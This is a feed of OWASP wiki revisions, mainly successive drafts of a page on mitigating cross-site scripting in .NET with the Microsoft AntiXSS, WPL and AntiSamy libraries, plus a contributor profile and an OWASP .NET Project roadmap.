* Reflected XSS&lt;br /&gt;
* Persistent XSS  &lt;br /&gt;
    &lt;br /&gt;
== Options ==&lt;br /&gt;
*Microsoft AntiXSS Library&lt;br /&gt;
**Available in ASP.NET 4.5 in the System.Web.Security.AntiXss namespace&lt;br /&gt;
**Available prior to ASP.NET 4.5 via NuGet: (https://www.nuget.org/packages/AntiXSS/)  Install-Package AntiXSS (currently v4.2.1 as of 4/12/2014)&lt;br /&gt;
***Using Microsoft AntiXSS as the default encoder in ASP.NET instructions (Phil Haack has a good link on this already:  http://haacked.com/archive/2010/04/06/using-antixss-as-the-default-encoder-for-asp-net.aspx/)&lt;br /&gt;
*Microsoft Web Protection Library (WPL) - via http://wpl.codeplex.com/workitem/17246&lt;br /&gt;
**there seem to be known issues with this library: http://blog.securityps.com/2012/12/alternatives-to-microsofts-wpl-sanitizer.html&lt;br /&gt;
*OWASP Anti-Samy Library (https://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project_.NET)&lt;br /&gt;
**Not recently maintained (good option for to get it up to date and relevant!!!)&lt;br /&gt;
&lt;br /&gt;
== XSS References ==&lt;br /&gt;
* http://www.troyhunt.com/2010/05/owasp-top-10-for-net-developers-part-2.html&lt;br /&gt;
* http://www.troyhunt.com/2011/12/free-ebook-owasp-top-10-for-net.html&lt;br /&gt;
* http://pluralsight.com/training/Courses/TableOfContents/owasp-top10-aspdotnet-application-security-risks (NOTE: This is a subscription course from PluralSight - I am not advocating any website or product, but found this to be useful and informative)&lt;br /&gt;
* http://devproconnections.com/aspnet/microsoft-adds-antixss-tool-aspnet-45&lt;br /&gt;
* https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet&lt;br /&gt;
* XSS Cheatsheet (in XML format; nice for programatic consumption!) http://ha.ckers.org/xssAttacks.xml&lt;br /&gt;
* TODO add more references here -- Troy Hunt's material is excellent - I'm sure more people in the world have content which would be valuable here to reference...&lt;br /&gt;
&lt;br /&gt;
== TODO ==&lt;br /&gt;
=== Now ===&lt;br /&gt;
* Look at the Microsoft implementations&lt;br /&gt;
* See what work has already been done in the OWASP space for XSS&lt;br /&gt;
* See what other work has been done for XSS (both .NET and other technology stacks)&lt;br /&gt;
* Illustrate vulnerabilities and how to mitigate them (e.g. WebGoat.NET) &lt;br /&gt;
* See if we can get the OWASP Anti-Samy project back into relevance&lt;br /&gt;
&lt;br /&gt;
=== Future ===&lt;br /&gt;
* Dream big here!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- categories --&amp;gt;&lt;br /&gt;
[[Category:OWASP_.NET_Project]]&lt;/div&gt;</summary>
		<author><name>Jeff Knutson</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=.NET_AntiXSS_Library&amp;diff=172768</id>
		<title>.NET AntiXSS Library</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=.NET_AntiXSS_Library&amp;diff=172768"/>
				<updated>2014-04-15T13:47:26Z</updated>
		
		<summary type="html">&lt;p&gt;Jeff Knutson: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''NOTE''': This content is a work in progress and all contribution is welcome.  Please contact [[User:Jeff Knutson|Jeff Knutson]] with questions, ideas, corrections, etc.&lt;br /&gt;
&lt;br /&gt;
== Overview ==&lt;br /&gt;
&lt;br /&gt;
Cross site scripting (XSS) continues to show up on the [[Category:OWASP_Top_Ten_Project|OWASP Top Ten Project]] as a top vulnerability every year.  While very pervasive and dangerous, this vulnerability is possible to mitigate with reasonable developer effort.  This page is dedicated to helping mitigate this vulnerability in regards to the Microsoft .NET Framework.&lt;br /&gt;
&lt;br /&gt;
== Challenges ==&lt;br /&gt;
&lt;br /&gt;
The primary XSS attack vectors are:&lt;br /&gt;
* Reflected XSS&lt;br /&gt;
* Persistent XSS  &lt;br /&gt;
    &lt;br /&gt;
== Options ==&lt;br /&gt;
*Microsoft AntiXSS Library&lt;br /&gt;
**Available in ASP.NET 4.5 in the System.Web.Security.AntiXss namespace&lt;br /&gt;
**Available prior to ASP.NET 4.5 via NuGet: (https://www.nuget.org/packages/AntiXSS/)  Install-Package AntiXSS (currently v4.2.1 as of 4/12/2014)&lt;br /&gt;
***Using Microsoft AntiXSS as the default encoder in ASP.NET instructions (Phil Haack has a good link on this already:  http://haacked.com/archive/2010/04/06/using-antixss-as-the-default-encoder-for-asp-net.aspx/)&lt;br /&gt;
*Microsoft Web Protection Library (WPL) - via http://wpl.codeplex.com/workitem/17246&lt;br /&gt;
**there seem to be known issues with this library: http://blog.securityps.com/2012/12/alternatives-to-microsofts-wpl-sanitizer.html&lt;br /&gt;
*OWASP Anti-Samy Library (https://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project_.NET)&lt;br /&gt;
**Not recently maintained (good option for to get it up to date and relevant!!!)&lt;br /&gt;
&lt;br /&gt;
== XSS References ==&lt;br /&gt;
* http://www.troyhunt.com/2010/05/owasp-top-10-for-net-developers-part-2.html&lt;br /&gt;
* http://www.troyhunt.com/2011/12/free-ebook-owasp-top-10-for-net.html&lt;br /&gt;
* http://pluralsight.com/training/Courses/TableOfContents/owasp-top10-aspdotnet-application-security-risks (NOTE: This is a subscription course from PluralSight - I am not advocating any website or product, but found this to be useful and informative)&lt;br /&gt;
*http://devproconnections.com/aspnet/microsoft-adds-antixss-tool-aspnet-45&lt;br /&gt;
* TODO add more references here -- Troy Hunt's material is excellent - I'm sure more people in the world have content which would be valuable here to reference...&lt;br /&gt;
&lt;br /&gt;
== TODO ==&lt;br /&gt;
=== Now ===&lt;br /&gt;
* Look at the Microsoft implementations&lt;br /&gt;
* See what work has already been done in the OWASP space for XSS&lt;br /&gt;
* See what other work has been done for XSS (both .NET and other technology stacks)&lt;br /&gt;
* Illustrate vulnerabilities and how to mitigate them (e.g. WebGoat) &lt;br /&gt;
* See if we can get the OWASP Anti-Samy project back into relevance&lt;br /&gt;
&lt;br /&gt;
=== Future ===&lt;br /&gt;
* Dream big here!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- categories --&amp;gt;&lt;br /&gt;
[[Category:OWASP_.NET_Project]]&lt;/div&gt;</summary>
		<author><name>Jeff Knutson</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=.NET_AntiXSS_Library&amp;diff=172766</id>
		<title>.NET AntiXSS Library</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=.NET_AntiXSS_Library&amp;diff=172766"/>
				<updated>2014-04-15T03:32:47Z</updated>
		
		<summary type="html">&lt;p&gt;Jeff Knutson: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;(NOTE:) This content is a work in progress and all contribution is welcome.  Please contact Jeff Knutson ([[User:Jeff Knutson]]) with questions, ideas, corrections, etc.&lt;br /&gt;
&lt;br /&gt;
== Overview ==&lt;br /&gt;
&lt;br /&gt;
Cross site scripting (XSS) continues to show up on the [[Category:OWASP_Top_Ten_Project|OWASP Top Ten Project]] as a top vulnerability every year.  While very pervasive and dangerous, this vulnerability is possible to mitigate with reasonable developer effort.  This page is dedicated to helping mitigate this vulnerability in regards to the Microsoft .NET Framework.&lt;br /&gt;
&lt;br /&gt;
== Challenges ==&lt;br /&gt;
&lt;br /&gt;
The primary XSS attack vectors are:&lt;br /&gt;
* Reflected XSS&lt;br /&gt;
* Persistent XSS  &lt;br /&gt;
    &lt;br /&gt;
== Options ==&lt;br /&gt;
*Microsoft AntiXSS Library&lt;br /&gt;
**Available in ASP.NET 4.5 in the System.Web.Security.AntiXss namespace&lt;br /&gt;
**Available prior to ASP.NET 4.5 via NuGet: (https://www.nuget.org/packages/AntiXSS/)  Install-Package AntiXSS (currently v4.2.1 as of 4/12/2014)&lt;br /&gt;
***Using Microsoft AntiXSS as the default encoder in ASP.NET instructions (Phil Haack has a good link on this already:  http://haacked.com/archive/2010/04/06/using-antixss-as-the-default-encoder-for-asp-net.aspx/)&lt;br /&gt;
*Microsoft Web Protection Library (WPL) - via http://wpl.codeplex.com/workitem/17246&lt;br /&gt;
**there seem to be known issues with this library: http://blog.securityps.com/2012/12/alternatives-to-microsofts-wpl-sanitizer.html&lt;br /&gt;
*OWASP Anti-Samy Library (https://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project_.NET)&lt;br /&gt;
**Not recently maintained (good option for to get it up to date and relevant!!!)&lt;br /&gt;
&lt;br /&gt;
== XSS References ==&lt;br /&gt;
* http://www.troyhunt.com/2010/05/owasp-top-10-for-net-developers-part-2.html&lt;br /&gt;
* http://www.troyhunt.com/2011/12/free-ebook-owasp-top-10-for-net.html&lt;br /&gt;
* http://pluralsight.com/training/Courses/TableOfContents/owasp-top10-aspdotnet-application-security-risks (NOTE: This is a subscription course from PluralSight - I am not advocating any website or product, but found this to be useful and informative)&lt;br /&gt;
*http://devproconnections.com/aspnet/microsoft-adds-antixss-tool-aspnet-45&lt;br /&gt;
* TODO add more references here -- Troy Hunt's material is excellent - I'm sure more people in the world have content which would be valuable here to reference...&lt;br /&gt;
&lt;br /&gt;
== TODO ==&lt;br /&gt;
=== Now ===&lt;br /&gt;
* Look at the Microsoft implementations&lt;br /&gt;
* See what work has already been done in the OWASP space for XSS&lt;br /&gt;
* See what other work has been done for XSS (both .NET and other technology stacks)&lt;br /&gt;
* Illustrate vulnerabilities and how to mitigate them (e.g. WebGoat) &lt;br /&gt;
* See if we can get the OWASP Anti-Samy project back into relevance&lt;br /&gt;
&lt;br /&gt;
=== Future ===&lt;br /&gt;
* Dream big here!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- categories --&amp;gt;&lt;br /&gt;
[[Category:OWASP_.NET_Project]]&lt;/div&gt;</summary>
		<author><name>Jeff Knutson</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=.NET_AntiXSS_Library&amp;diff=172763</id>
		<title>.NET AntiXSS Library</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=.NET_AntiXSS_Library&amp;diff=172763"/>
				<updated>2014-04-15T02:49:04Z</updated>
		
		<summary type="html">&lt;p&gt;Jeff Knutson: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;(NOTE:) This content is a work in progress and all contribution is welcome.  Please contact Jeff Knutson ([[User:Jeff Knutson]]) with questions, ideas, corrections, etc.&lt;br /&gt;
&lt;br /&gt;
== Overview ==&lt;br /&gt;
&lt;br /&gt;
Cross site scripting (XSS) continues to show up on the [[Category:OWASP_Top_Ten_Project|OWASP Top Ten Project]] as a top vulnerability every year.  While very pervasive and dangerous, this vulnerability is possible to mitigate with reasonable developer effort.  This page is dedicated to helping mitigate this vulnerability in regards to the Microsoft .NET Framework.&lt;br /&gt;
&lt;br /&gt;
== Challenges ==&lt;br /&gt;
&lt;br /&gt;
The primary XSS attack vectors are:&lt;br /&gt;
* Reflected XSS&lt;br /&gt;
* Persistent XSS  &lt;br /&gt;
    &lt;br /&gt;
== Options ==&lt;br /&gt;
*Microsoft AntiXSS Library&lt;br /&gt;
**Available in ASP.NET 4.5 in the System.Web.Security.AntiXss namespace&lt;br /&gt;
**Available prior to ASP.NET 4.5 via NuGet: (https://www.nuget.org/packages/AntiXSS/)  Install-Package AntiXSS (currently v4.2.1 as of 4/12/2014)&lt;br /&gt;
***Using Microsoft AntiXSS as the default encoder in ASP.NET instructions (Phil Haack has a good link on this already:  http://haacked.com/archive/2010/04/06/using-antixss-as-the-default-encoder-for-asp-net.aspx/)&lt;br /&gt;
*Microsoft Web Protection Library (WPL) - via http://wpl.codeplex.com/workitem/17246&lt;br /&gt;
**there seem to be known issues with this library: http://blog.securityps.com/2012/12/alternatives-to-microsofts-wpl-sanitizer.html&lt;br /&gt;
*OWASP Anti-Samy Library (https://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project_.NET)&lt;br /&gt;
**Not recently maintained (good option for to get it up to date and relevant!!!)&lt;br /&gt;
&lt;br /&gt;
== XSS References ==&lt;br /&gt;
* http://www.troyhunt.com/2010/05/owasp-top-10-for-net-developers-part-2.html&lt;br /&gt;
* http://www.troyhunt.com/2011/12/free-ebook-owasp-top-10-for-net.html&lt;br /&gt;
* http://pluralsight.com/training/Courses/TableOfContents/owasp-top10-aspdotnet-application-security-risks (NOTE: This is a subscription course from PluralSight - I am not advocating any website or product, but found this to be useful and informative)&lt;br /&gt;
* TODO add more references here -- Troy Hunt's material is excellent - I'm sure more people in the world have content which would be valuable here to reference...&lt;br /&gt;
&lt;br /&gt;
== TODO ==&lt;br /&gt;
=== Now ===&lt;br /&gt;
* Look at the Microsoft implementations&lt;br /&gt;
* See what work has already been done in the OWASP space for XSS&lt;br /&gt;
* See what other work has been done for XSS (both .NET and other technology stacks)&lt;br /&gt;
* Illustrate vulnerabilities and how to mitigate them (e.g. WebGoat) &lt;br /&gt;
* See if we can get the OWASP Anti-Samy project back into relevance&lt;br /&gt;
&lt;br /&gt;
=== Future ===&lt;br /&gt;
* Dream big here!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- categories --&amp;gt;&lt;br /&gt;
[[Category:OWASP_.NET_Project]]&lt;/div&gt;</summary>
		<author><name>Jeff Knutson</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=.NET_AntiXSS_Library&amp;diff=172756</id>
		<title>.NET AntiXSS Library</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=.NET_AntiXSS_Library&amp;diff=172756"/>
				<updated>2014-04-15T02:37:49Z</updated>
		
		<summary type="html">&lt;p&gt;Jeff Knutson: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;(NOTE:) This content is a work in progress and all contribution is welcome.  Please contact Jeff Knutson ([[User:Jeff Knutson]]) with questions, ideas, corrections, etc.&lt;br /&gt;
&lt;br /&gt;
== Overview ==&lt;br /&gt;
&lt;br /&gt;
Cross site scripting (XSS) continues to show up on the [[Category:OWASP_Top_Ten_Project|OWASP Top Ten Project]] as a top vulnerability.  &lt;br /&gt;
    &lt;br /&gt;
== Options ==&lt;br /&gt;
*Microsoft AntiXSS Library&lt;br /&gt;
**Available in ASP.NET 4.5 in the System.Web.Security.AntiXss namespace&lt;br /&gt;
**Available prior to ASP.NET 4.5 via NuGet: (https://www.nuget.org/packages/AntiXSS/)  Install-Package AntiXSS (currently v4.2.1 as of 4/12/2014)&lt;br /&gt;
***Using Microsoft AntiXSS as the default encoder in ASP.NET instructions (Phil Haack has a good link on this already:  http://haacked.com/archive/2010/04/06/using-antixss-as-the-default-encoder-for-asp-net.aspx/)&lt;br /&gt;
*Microsoft Web Protection Library (WPL) - via http://wpl.codeplex.com/workitem/17246&lt;br /&gt;
**there seem to be known issues with this library: http://blog.securityps.com/2012/12/alternatives-to-microsofts-wpl-sanitizer.html&lt;br /&gt;
*OWASP Anti-Samy Library (https://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project_.NET)&lt;br /&gt;
**Not recently maintained (good option for to get it up to date and relevant!!!)&lt;br /&gt;
&lt;br /&gt;
== TODO ==&lt;br /&gt;
=== Now ===&lt;br /&gt;
* Look at the Microsoft implementations&lt;br /&gt;
* See what work has already been done in the OWASP space for XSS&lt;br /&gt;
* See what other work has been done for XSS (both .NET and other technology stacks)&lt;br /&gt;
* Illustrate vulnerabilities and how to mitigate them (e.g. WebGoat) &lt;br /&gt;
* See if we can get the OWASP Anti-Samy project back into relevance&lt;br /&gt;
&lt;br /&gt;
=== Future ===&lt;br /&gt;
* Dream big here!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- categories --&amp;gt;&lt;br /&gt;
[[Category:OWASP_.NET_Project]]&lt;/div&gt;</summary>
		<author><name>Jeff Knutson</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Jeff_Knutson&amp;diff=172748</id>
		<title>User:Jeff Knutson</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Jeff_Knutson&amp;diff=172748"/>
				<updated>2014-04-15T02:33:29Z</updated>
		
		<summary type="html">&lt;p&gt;Jeff Knutson: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;A software engineer with ~20 years experience, mostly in the Microsoft stack; interested in contributing to OWASP to help everyone write more secure software.  &lt;br /&gt;
&lt;br /&gt;
I'd love to hear from you!  Please reach out via email: jeff@goodguyconsulting.com or web http://www.goodguyconsulting.com&lt;/div&gt;</summary>
		<author><name>Jeff Knutson</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=.NET_AntiXSS_Library&amp;diff=172747</id>
		<title>.NET AntiXSS Library</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=.NET_AntiXSS_Library&amp;diff=172747"/>
				<updated>2014-04-15T02:29:01Z</updated>
		
		<summary type="html">&lt;p&gt;Jeff Knutson: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;(NOTE:) This content is a work in progress and all contribution is welcome.  Please contact Jeff Knutson ([[User:Jeff Knutson]]) with questions, ideas, corrections, etc.&lt;br /&gt;
&lt;br /&gt;
== Overview ==&lt;br /&gt;
&lt;br /&gt;
Cross site scripting (XSS) continues to show up on the [[Category:OWASP_Top_Ten_Project|OWASP Top Ten Project]] as a top vulnerability.  &lt;br /&gt;
    &lt;br /&gt;
== Options ==&lt;br /&gt;
*Microsoft AntiXSS Library&lt;br /&gt;
**Available in ASP.NET 4.5 in the System.Web.Security.AntiXss namespace&lt;br /&gt;
**Available prior to ASP.NET 4.5 via NuGet: (https://www.nuget.org/packages/AntiXSS/)  Install-Package AntiXSS (currently v4.2.1 as of 4/12/2014)&lt;br /&gt;
***Using Microsoft AntiXSS as the default encoder in ASP.NET instructions (Phil Haack has a good link on this already:  http://haacked.com/archive/2010/04/06/using-antixss-as-the-default-encoder-for-asp-net.aspx/)&lt;br /&gt;
*Microsoft Web Protection Library (WPL) - via http://wpl.codeplex.com/workitem/17246&lt;br /&gt;
*OWASP Anti-Samy Library (https://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project_.NET)&lt;br /&gt;
**Not recently maintained (good option for to get it up to date and relevant!!!)&lt;br /&gt;
&lt;br /&gt;
== TODO ==&lt;br /&gt;
=== Now ===&lt;br /&gt;
* Look at the Microsoft implementations&lt;br /&gt;
* See what work has already been done in the OWASP space for XSS&lt;br /&gt;
* See what other work has been done for XSS (both .NET and other technology stacks)&lt;br /&gt;
* Illustrate vulnerabilities and how to mitigate them (e.g. WebGoat) &lt;br /&gt;
&lt;br /&gt;
=== Future ===&lt;br /&gt;
* Dream big here!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- categories --&amp;gt;&lt;br /&gt;
[[Category:OWASP_.NET_Project]]&lt;/div&gt;</summary>
		<author><name>Jeff Knutson</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=.NET_AntiXSS_Library&amp;diff=172746</id>
		<title>.NET AntiXSS Library</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=.NET_AntiXSS_Library&amp;diff=172746"/>
				<updated>2014-04-15T02:28:37Z</updated>
		
		<summary type="html">&lt;p&gt;Jeff Knutson: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;(NOTE:) This content is a work in progress and all contribution is welcome.  Please contact Jeff Knutson ([[User:Jeff Knutson]]) with questions, ideas, corrections, etc.&lt;br /&gt;
&lt;br /&gt;
== Problem Overview ==&lt;br /&gt;
&lt;br /&gt;
Cross site scripting (XSS) continues to show up on the [[Category:OWASP_Top_Ten_Project|OWASP Top Ten Project]] as a top vulnerability.  &lt;br /&gt;
    &lt;br /&gt;
== Options ==&lt;br /&gt;
*Microsoft AntiXSS Library&lt;br /&gt;
**Available in ASP.NET 4.5 in the System.Web.Security.AntiXss namespace&lt;br /&gt;
**Available prior to ASP.NET 4.5 via NuGet: (https://www.nuget.org/packages/AntiXSS/)  Install-Package AntiXSS (currently v4.2.1 as of 4/12/2014)&lt;br /&gt;
***Using Microsoft AntiXSS as the default encoder in ASP.NET instructions (Phil Haack has a good link on this already:  http://haacked.com/archive/2010/04/06/using-antixss-as-the-default-encoder-for-asp-net.aspx/)&lt;br /&gt;
*Microsoft Web Protection Library (WPL) - via http://wpl.codeplex.com/workitem/17246&lt;br /&gt;
*OWASP Anti-Samy Library (https://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project_.NET)&lt;br /&gt;
**Not recently maintained (good option for to get it up to date and relevant!!!)&lt;br /&gt;
&lt;br /&gt;
== TODO ==&lt;br /&gt;
=== Now ===&lt;br /&gt;
* Look at the Microsoft implementations&lt;br /&gt;
* See what work has already been done in the OWASP space for XSS&lt;br /&gt;
* See what other work has been done for XSS (both .NET and other technology stacks)&lt;br /&gt;
* Illustrate vulnerabilities and how to mitigate them (e.g. WebGoat) &lt;br /&gt;
&lt;br /&gt;
=== Future ===&lt;br /&gt;
* Dream big here!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- categories --&amp;gt;&lt;br /&gt;
[[Category:OWASP_.NET_Project]]&lt;/div&gt;</summary>
		<author><name>Jeff Knutson</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=.NET_AntiXSS_Library&amp;diff=172692</id>
		<title>.NET AntiXSS Library</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=.NET_AntiXSS_Library&amp;diff=172692"/>
				<updated>2014-04-14T17:04:47Z</updated>
		
		<summary type="html">&lt;p&gt;Jeff Knutson: Created page with &amp;quot;(NOTE:) This content is a work in progress and all contribution is welcome.  Please contact Jeff Knutson (User:Jeff Knutson) with questions, ideas, corrections, etc.  == P...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;(NOTE:) This content is a work in progress and all contribution is welcome.  Please contact Jeff Knutson ([[User:Jeff Knutson]]) with questions, ideas, corrections, etc.&lt;br /&gt;
&lt;br /&gt;
== Problem Overview ==&lt;br /&gt;
&lt;br /&gt;
Cross site scripting (XSS) continues to show up on the [[Category:OWASP_Top_Ten_Project|OWASP Top Ten Project]] as a top vulnerability.  &lt;br /&gt;
&lt;br /&gt;
=== .NET specific concerns ===&lt;br /&gt;
&lt;br /&gt;
-TODO ASP.NET 4.5 built in support for AntiXSS&lt;br /&gt;
-TODO the AntiXSS project&lt;br /&gt;
    &lt;br /&gt;
&lt;br /&gt;
== Using as the default encoder in ASP.NET instructions ==&lt;br /&gt;
TODO: Phil Haack has a good link on this already:  http://haacked.com/archive/2010/04/06/using-antixss-as-the-default-encoder-for-asp-net.aspx/&lt;br /&gt;
      &lt;br /&gt;
&lt;br /&gt;
== TODO ==&lt;br /&gt;
=== Now ===&lt;br /&gt;
* Look at the Microsoft implementations&lt;br /&gt;
* See what work has already been done in the OWASP space for XSS&lt;br /&gt;
* See what other work has been done for XSS (both .NET and other technology stacks)&lt;br /&gt;
* Illustrate vulnerabilities and how to mitigate them (e.g. WebGoat) &lt;br /&gt;
&lt;br /&gt;
=== Future ===&lt;br /&gt;
* Dream big here!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- categories --&amp;gt;&lt;br /&gt;
[[Category:OWASP_.NET_Project]]&lt;/div&gt;</summary>
		<author><name>Jeff Knutson</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_.Net_Project_Roadmap&amp;diff=172691</id>
		<title>OWASP .Net Project Roadmap</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_.Net_Project_Roadmap&amp;diff=172691"/>
				<updated>2014-04-14T16:42:05Z</updated>
		
		<summary type="html">&lt;p&gt;Jeff Knutson: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Overview =&lt;br /&gt;
&lt;br /&gt;
The .NET Framework has seen significant security improvement over the last ten years of development. With proper use the core security problems that are seen in web applications, or even Windows executibles, are difficult to  exploit. &lt;br /&gt;
&lt;br /&gt;
The key is 'proper use' and that is the goal of the .NET Project - assist with proper use. Education, components and tools that are appropriate for the latest .NET versions should be the focus for output of this project. As tools and information become out of date, they will be moved to a sunset mode, still available to those using older versions of the framework.&lt;br /&gt;
&lt;br /&gt;
= Themes =&lt;br /&gt;
The themes of the .NET Project include:&lt;br /&gt;
* Deep, rich guidance for .NET developers using the security features of .NET&lt;br /&gt;
* Access to use of OWASP components that are designed for use with .NET&lt;br /&gt;
* Information about working with and on OWASP tools built using .NET&lt;br /&gt;
&lt;br /&gt;
= Features = &lt;br /&gt;
&lt;br /&gt;
Features are parts of the project at a very high level. There are three themes, and they include guidance for developers, components that help to write more secure .NET projects, and tools for general security and testing written in .NET.&lt;br /&gt;
&lt;br /&gt;
== Guidance ==&lt;br /&gt;
&lt;br /&gt;
Guidance is documentation that assists .NET developers implementing the security features of the framework. Current examples include:&lt;br /&gt;
&lt;br /&gt;
* The [[.NET Security Cheat Sheet]]&lt;br /&gt;
* [[.NET Penetration Testing]]&lt;br /&gt;
&lt;br /&gt;
== Components == &lt;br /&gt;
&lt;br /&gt;
Components are pieces of software that assist .NET developers in building more secure code. A number of projects exist that are for older versions of .NET. While they are no longer valid for later versions, they are still acceptable for use. Many updates are needed to a number of other projects.&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API#tab=Dot_NET ESAPI.NET]&lt;br /&gt;
* [[.Net CSRF Guard]]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project_.NET AntiSamy .NET]&lt;br /&gt;
* [[.NET AntiXSS Library]]&lt;br /&gt;
&lt;br /&gt;
== Projects that use .NET ==&lt;br /&gt;
&lt;br /&gt;
These are projects that happen to be built in .NET. Many of them could use .NET development assistance:&lt;br /&gt;
&lt;br /&gt;
* [[OWASP O2 Platform]]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_WebGoat.NET WebGOAT.NET]&lt;br /&gt;
&lt;br /&gt;
= Ideas =&lt;br /&gt;
Please send your ideas to the OWASP.Net mailing list (owasp-dotnet@lists.owasp.org)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP .NET Project]]&lt;/div&gt;</summary>
		<author><name>Jeff Knutson</name></author>	</entry>

	</feed>